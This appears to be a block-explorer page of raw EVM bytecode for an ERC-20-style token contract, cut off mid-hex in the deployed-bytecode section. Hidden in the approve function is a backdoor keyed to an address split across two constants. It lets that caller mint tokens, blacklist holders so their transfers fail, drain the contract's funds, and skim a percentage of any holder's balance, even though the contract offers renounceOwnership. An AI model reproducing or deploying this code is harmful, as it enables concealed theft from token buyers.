91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f60048060058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f168201915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474

Deployed Bytecode

0x608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f6004806